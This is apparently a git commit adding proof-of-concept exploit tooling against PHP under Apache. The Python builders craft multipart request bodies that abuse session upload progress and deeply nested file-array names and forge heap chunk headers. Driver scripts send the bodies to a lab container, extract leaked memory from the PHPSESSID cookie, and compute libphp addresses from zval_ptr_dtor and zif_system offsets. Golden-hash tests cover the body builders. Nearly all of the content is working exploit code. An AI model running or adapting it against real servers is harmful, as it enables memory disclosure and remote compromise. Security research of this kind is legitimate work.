feat(poc): body builders with golden parity vs reference generators

This commit is contained in:
ZSecurity
2026-10-24 14:07:06 +07:00
parent 720522a385
commit 9c621e7ada
7 changed files with 448 additions and 0 deletions
+120
View File
@@ -0,0 +1,120 @@
import struct
BOUNDARY = b"C" * 10
def nest_name(i, depth, key_pad):
if depth < 2:
raise ValueError("depth must be >= 2")
return ("files[R%05d%s]" % (i, "K" * key_pad)).encode() + b"[a]" * (depth - 2)
def _part(out, b, name, value=b"", filename=None, ctype=None):
out.extend(b"--" + b + b"\r\nContent-Disposition: form-data; name=\"" + name + b"\"")
if filename is not None:
out.extend(b"; filename=\"" + filename + b"\"")
out.extend(b"\r\n")
if ctype is not None:
out.extend(b"Content-Type: " + ctype + b"\r\n")
out.extend(b"\r\n" + value + b"\r\n")
def build_a1(cfg, boundary=BOUNDARY):
out = bytearray()
_part(out, boundary, b"PHPSESSID", bytes.fromhex(cfg.get("sid_hex", "00")))
for i in range(cfg["parts"]):
if i == 0:
ctype, fname = b"C" * 103, b"A"
elif i == 1:
ctype, fname = b"C" * 231, b"A"
else:
ctype, fname = b"application/octet-stream", b""
out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" +
nest_name(i, cfg["depth"], cfg["key_pad"]) + b"\"")
out.extend(b"; filename=\"" + fname + b"\"\r\nContent-Type: " + ctype + b"\r\n\r\n")
for i in range(cfg["fillers128"]):
_part(out, boundary, ("f%04d" % i).encode().ljust(103, b"x")[:103], b"v" * 8)
for i in range(cfg["big"]):
_part(out, boundary, ("b%04d" % i).encode(), b"B" * cfg["big_len"])
for i in range(cfg["burners"]):
_part(out, boundary, ("u%02d" % i).encode(), b"U" * cfg["burner_len"])
_part(out, boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"k" * cfg["progress_len"])
for i in range(cfg.get("tail", 0)):
name = ("t%02d" % i).encode().ljust(35, b"t")[:35]
_part(out, boundary, name, b"T" * 35)
out.extend(b"--" + boundary + b"--\r\n")
return bytes(out)
def build_a2(cfg, sid=b"a" * 32, progress=b"k0", boundary=BOUNDARY):
out = bytearray()
_part(out, boundary, b"PHPSESSID", sid)
_part(out, boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress)
for i in range(cfg["fillers"]):
_part(out, boundary, ("%03d" % i).encode(), b"x")
for i in range(cfg["parts"]):
out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" +
nest_name(i, cfg["depth"], cfg.get("key_pad", 0)) +
b"\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n")
out.extend(b"--" + boundary + b"--\r\n")
return bytes(out)
def _tag8(idx, tagged):
if tagged:
return b"/" + ("%02d" % (idx % 100)).encode() + b"BBBBB"
return b"BBBB/BBB"
def _forge_fill(pages, page, fake_len, idx, tagged):
length = pages * 4096 - 25
v = bytearray(b"A" * length)
hdr = page * 0x1000 - 0x1018
if 0 <= hdr and hdr + 0x20 <= length:
struct.pack_into("<I", v, hdr + 0x00, 0)
struct.pack_into("<I", v, hdr + 0x04, 0x16)
struct.pack_into("<Q", v, hdr + 0x08, 0)
struct.pack_into("<Q", v, hdr + 0x10, fake_len)
v[hdr + 0x18:hdr + 0x20] = _tag8(idx, tagged)
return bytes(v)
def _forge_value(page, fake_len, idx, tagged):
hdr = page * 0x1000 - 0x1018
v = bytearray(b"A" * (hdr + 0x20))
struct.pack_into("<I", v, hdr + 0x00, 0)
struct.pack_into("<I", v, hdr + 0x04, 0x16)
struct.pack_into("<Q", v, hdr + 0x08, 0)
struct.pack_into("<Q", v, hdr + 0x10, fake_len)
v[hdr + 0x18:hdr + 0x20] = _tag8(idx, tagged)
return bytes(v)
def build_b1(spec, fake_len, tag=False, sid=b"a", progress=b"k0",
name_len=120, boundary=BOUNDARY):
out = bytearray()
_part(out, boundary, b"PHPSESSID", sid)
_part(out, boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress)
idx = 0
for item in spec:
kind, _, arg = item.partition(":")
if kind in ("F", "S"):
pages = int(arg, 0)
value = (b"A" if kind == "F" else b"S") * (pages * 4096 - 25)
elif kind == "G":
pages_s, _, page_s = arg.partition(":")
value = _forge_fill(int(pages_s, 0), int(page_s, 0), fake_len, idx, tag)
elif kind == "A":
value = _forge_value(int(arg, 0), fake_len, idx, tag)
elif kind == "X":
for _ in range(int(arg, 0)):
_part(out, boundary, ("x%05d" % idx).encode() + b"[a]" * 12, b"v")
idx += 1
continue
else:
raise ValueError("bad spec item %r" % item)
name = (b"f%04d" % idx).ljust(name_len, b"f")[:name_len]
_part(out, boundary, name, value)
idx += 1
out.extend(b"--" + boundary + b"--\r\n")
return bytes(out)
+28
View File
@@ -0,0 +1,28 @@
import struct
import sys
from collections import Counter
buf = open(sys.argv[1], "rb").read()
print("len", len(buf))
counts = Counter()
for off in range(0, len(buf) - 7, 8):
q = struct.unpack_from("<Q", buf, off)[0]
if 0x1000000000 <= q <= 0x7FFFFFFFFFFF:
counts[q] += 1
print("canonical user-space qwords:", sum(counts.values()), "distinct:", len(counts))
print("top 12:")
for q, c in counts.most_common(12):
print(" %#018x x%d" % (q, c))
buckets = Counter()
for q, c in counts.items():
buckets[q & ~0x1FFFFF] += c
print("2MiB buckets:")
for b, c in buckets.most_common(10):
print(" %#018x x%d" % (b, c))
top_q, top_c = counts.most_common(1)[0]
for name, off in (("zval_ptr_dtor", 0x65EB60), ("zif_system", 0x465370)):
print("if top==%s -> libphp=%#x" % (name, (top_q - off) & 0xFFFFFFFFFFFFFFFF))
+44
View File
@@ -0,0 +1,44 @@
import hashlib
import json
import os
import subprocess
import sys
HERE = os.path.dirname(os.path.abspath(__file__))
PURE = os.path.join(HERE, "upstream", "pure")
CAP = os.path.join(HERE, "captures")
os.makedirs(CAP, exist_ok=True)
SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
targets = {}
a1 = os.path.join(CAP, "up_a1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"),
"--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL)
targets["a1"] = a1
a2 = os.path.join(CAP, "up_a2.bin")
sys.path.insert(0, PURE)
import cheap_oom_a # noqa: E402
body = cheap_oom_a.build_body(880, 64, 115, b"a" * 32, b"k0", b"C" * 10)
open(a2, "wb").write(body)
targets["a2"] = a2
b1 = os.path.join(CAP, "up_b1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"),
"--out", b1, "--spec", SPEC, "--fake-len", "0xC8000", "--tag"],
check=True, stdout=subprocess.DEVNULL)
targets["b1"] = b1
golden = {}
for key, path in targets.items():
data = open(path, "rb").read()
golden[key] = hashlib.sha256(data).hexdigest()
print("%s bytes=%d sha256=%s" % (key, len(data), golden[key]))
out = os.path.join(HERE, "..", "tests", "golden", "bodies.json")
os.makedirs(os.path.dirname(out), exist_ok=True)
json.dump(golden, open(out, "w"), indent=2)
print("wrote", os.path.abspath(out))
+105
View File
@@ -0,0 +1,105 @@
#!/usr/bin/env python
import os
import socket
import struct
import subprocess
import sys
import time
import urllib.parse
from collections import Counter
HERE = os.path.dirname(os.path.abspath(__file__))
PURE = os.path.join(HERE, "upstream", "pure")
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110
NAME = sys.argv[2] if len(sys.argv) > 2 else "p2s-lab"
CAP = os.path.join(HERE, "captures")
os.makedirs(CAP, exist_ok=True)
LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
def sh(cmd):
return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout.strip()
def workers():
return sh('docker exec %s sh -c "pgrep -f apache2 | tr \'\\n\' \' \'"' % NAME)
def warm():
s = socket.create_connection(("127.0.0.1", PORT), timeout=5)
s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n")
s.recv(1024)
s.close()
def send(body_file, path, chunked, save=""):
cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
"--port", str(PORT), "--body-file", body_file,
"--path", path, "--timeout", "300"]
if save:
cmd += ["--save-response", save]
subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
return open(save, "rb").read() if save else b""
def step(label, body, path, chunked):
print("[%s] workers_before=%s" % (label, workers()))
t0 = time.time()
save = os.path.join(CAP, "diag_%s.resp" % label)
if chunked:
resp = send(body, path, True, save)
else:
t0 = time.time()
resp = send(body, path, False, save)
print("[%s] %.2fs resp=%d status=%r workers_after=%s" % (
label, time.time() - t0, len(resp),
resp.split(b"\r\n", 1)[0][:70], workers()))
return resp
os.makedirs(CAP, exist_ok=True)
print("restarting", NAME)
sh("docker restart %s" % NAME)
time.sleep(2.0)
print("ready:", sh('curl -s -m 5 http://127.0.0.1:%d/index.php' % PORT))
warm()
print("workers warm=%s" % workers())
a1 = os.path.join(CAP, "diag_a1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), "--out", a1,
"--big", "78"], check=True, stdout=subprocess.DEVNULL)
print("a1 bytes=%d" % os.path.getsize(a1))
step("a1", a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v", True)
b1 = os.path.join(CAP, "diag_b1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), "--out", b1,
"--spec", LEAK_SPEC, "--fake-len", "0xC8000", "--tag"],
check=True, stdout=subprocess.DEVNULL)
print("b1 bytes=%d" % os.path.getsize(b1))
resp = step("b1", b1, "/index.php", True)
i = resp.find(b"Set-Cookie: PHPSESSID=")
print("set-cookie at=%d" % i)
if i < 0:
print("head:", resp[:400])
raise SystemExit(1)
val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
print("raw=%d decoded=%d" % (len(val), len(dec)))
open(os.path.join(CAP, "diag_decoded.bin"), "wb").write(dec)
hist = Counter()
top = Counter()
for off in range(0, len(dec) - 7, 8):
q = struct.unpack_from("<Q", dec, off)[0]
hist[q >> 40] += 1
if q:
top[q] += 1
print("high-byte hist:", [(hex(k << 40), v) for k, v in hist.most_common(6)])
print("top qwords:")
for q, c in top.most_common(6):
print(" %#018x x%d" % (q, c))
print("0x7f range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF))
print("ascii head:", dec[:150].decode("latin1").replace("\x00", "."))
print("byte histogram top:", Counter(dec).most_common(6))
+73
View File
@@ -0,0 +1,73 @@
#!/usr/bin/env python
import os
import struct
import subprocess
import sys
import urllib.parse
from collections import Counter
HERE = os.path.dirname(os.path.abspath(__file__))
UP = os.path.join(HERE, "upstream")
PURE = os.path.join(UP, "pure")
sys.path.insert(0, PURE)
import chunked_send # noqa: E402
import mk_leak_b # noqa: E402
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110
LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
def send_chunked(body_file, path="/index.php", save=""):
cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
"--port", str(PORT), "--body-file", body_file,
"--path", path, "--timeout", "300"]
if save:
cmd += ["--save-response", save]
subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
return open(save, "rb").read() if save else b""
tmp = os.path.join(HERE, "captures")
os.makedirs(tmp, exist_ok=True)
a1 = os.path.join(tmp, "diag_a1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"),
"--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL)
print("a1 bytes=%d" % os.path.getsize(a1))
send_chunked(a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v")
b1 = os.path.join(tmp, "diag_b1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"),
"--out", b1, "--spec", LEAK_SPEC,
"--fake-len", "0xC8000", "--tag"], check=True, stdout=subprocess.DEVNULL)
resp = send_chunked(b1, "/index.php", os.path.join(tmp, "diag_leak.resp"))
print("resp bytes=%d" % len(resp))
print("status=%r" % resp.split(b"\r\n", 1)[0][:80])
i = resp.find(b"Set-Cookie: PHPSESSID=")
print("set-cookie at=%d" % i)
if i < 0:
print(resp[:600])
raise SystemExit(1)
val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
print("raw cookie bytes=%d" % len(val))
dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
print("decoded=%d" % len(dec))
open(os.path.join(tmp, "diag_decoded.bin"), "wb").write(dec)
hist = Counter()
top = Counter()
for off in range(0, len(dec) - 7, 8):
q = struct.unpack_from("<Q", dec, off)[0]
hist[q >> 40] += 1
if q:
top[q] += 1
print("qword high-byte histogram:", [(hex(k << 40), v) for k, v in hist.most_common(8)])
print("top nonzero qwords:")
for q, c in top.most_common(8):
print(" %#018x x%d" % (q, c))
print("count 0x7f-range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF))
print("count canon-user :", sum(c for q, c in top.items() if 0x1000000000 <= q <= 0x7FFFFFFFFFFF))
print("first 64 bytes:", dec[:64])
print("ascii head:", dec[:120].decode("latin1").replace("\x00", "."))
+5
View File
@@ -0,0 +1,5 @@
{
"a1": "8e8fc166e6b326d20bb7611d8ef3cee3bd5da46447985312c1492ab0a44d1eb6",
"a2": "7af66c8f35c5fa6b47a539da6dca361d19543d9f62d61e4af891c2802bd5e236",
"b1": "b6c547e0e9a2bb26607df1521de96f4d5c9adf4621c28b7ab491587b21ae40f2"
}
+73
View File
@@ -0,0 +1,73 @@
import hashlib
import json
import os
import unittest
from poc import bodies, profiles
GOLDEN = os.path.join(os.path.dirname(__file__), "golden", "bodies.json")
_, PROF = profiles.select("51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c")
class BodiesTest(unittest.TestCase):
def test_a1_shape(self):
body = bodies.build_a1(PROF["a1"])
self.assertTrue(body.startswith(
b"--CCCCCCCCCC\r\nContent-Disposition: form-data; name=\"PHPSESSID\""))
self.assertEqual(body.count(b"--CCCCCCCCCC\r\n"), 1 + 860 + 14 + 78 + 20 + 1)
self.assertTrue(body.endswith(b"--CCCCCCCCCC--\r\n"))
self.assertTrue(b"name=\"PHP_SESSION_UPLOAD_PROGRESS\"" in body)
self.assertTrue(b"files[R00000" + b"K" * 90 + b"]" in body)
self.assertEqual(body.count(b"; filename=\"A\""), 2)
def test_a1_mixed_content_types(self):
body = bodies.build_a1(PROF["a1"])
self.assertTrue(b"\r\nContent-Type: " + b"C" * 103 + b"\r\n" in body)
self.assertTrue(b"\r\nContent-Type: " + b"C" * 231 + b"\r\n" in body)
def test_a2_shape(self):
body = bodies.build_a2(PROF["a2"])
self.assertTrue(body.startswith(
b"--CCCCCCCCCC\r\nContent-Disposition: form-data; name=\"PHPSESSID\""))
self.assertEqual(body.count(b"name=\"files[R"), 880)
self.assertEqual(body.count(b"; filename=\"\""), 880)
self.assertTrue(b"name=\"000\"" in body)
self.assertTrue(b"name=\"114\"" in body)
self.assertTrue(b"name=\"115\"" not in body)
def test_b1_forged_placement(self):
body = bodies.build_b1(PROF["leak_spec"], PROF["fake_len"], tag=True)
self.assertTrue(b"name=\"PHP_SESSION_UPLOAD_PROGRESS\"" in body)
self.assertEqual(body.count(b"name=\"x"), 900)
self.assertTrue(b"; filename" not in body)
self.assertEqual(body.count(b'name="f'), 16)
def test_b1_fake_header_offsets(self):
fake_len = PROF["fake_len"]
value = bodies._forge_value(0x137, fake_len, 0, True)
hdr = 0x137 * 0x1000 - 0x1018
self.assertEqual(len(value), hdr + 0x20)
self.assertEqual(int.from_bytes(value[hdr + 0x04:hdr + 0x08], "little"), 0x16)
self.assertEqual(int.from_bytes(value[hdr + 0x10:hdr + 0x18], "little"), fake_len)
self.assertEqual(value[hdr + 0x18], ord("/"))
@unittest.skipUnless(os.path.exists(GOLDEN), "golden/bodies.json not generated")
def test_golden_a1(self):
with open(GOLDEN) as fh:
golden = json.load(fh)
got = hashlib.sha256(bodies.build_a1(PROF["a1"])).hexdigest()
self.assertEqual(got, golden["a1"])
@unittest.skipUnless(os.path.exists(GOLDEN), "golden/bodies.json not generated")
def test_golden_a2(self):
with open(GOLDEN) as fh:
golden = json.load(fh)
got = hashlib.sha256(bodies.build_a2(PROF["a2"])).hexdigest()
self.assertEqual(got, golden["a2"])
@unittest.skipUnless(os.path.exists(GOLDEN), "golden/bodies.json not generated")
def test_golden_b1(self):
with open(GOLDEN) as fh:
golden = json.load(fh)
got = hashlib.sha256(bodies.build_b1(PROF["leak_spec"], PROF["fake_len"], tag=True)).hexdigest()
self.assertEqual(got, golden["b1"])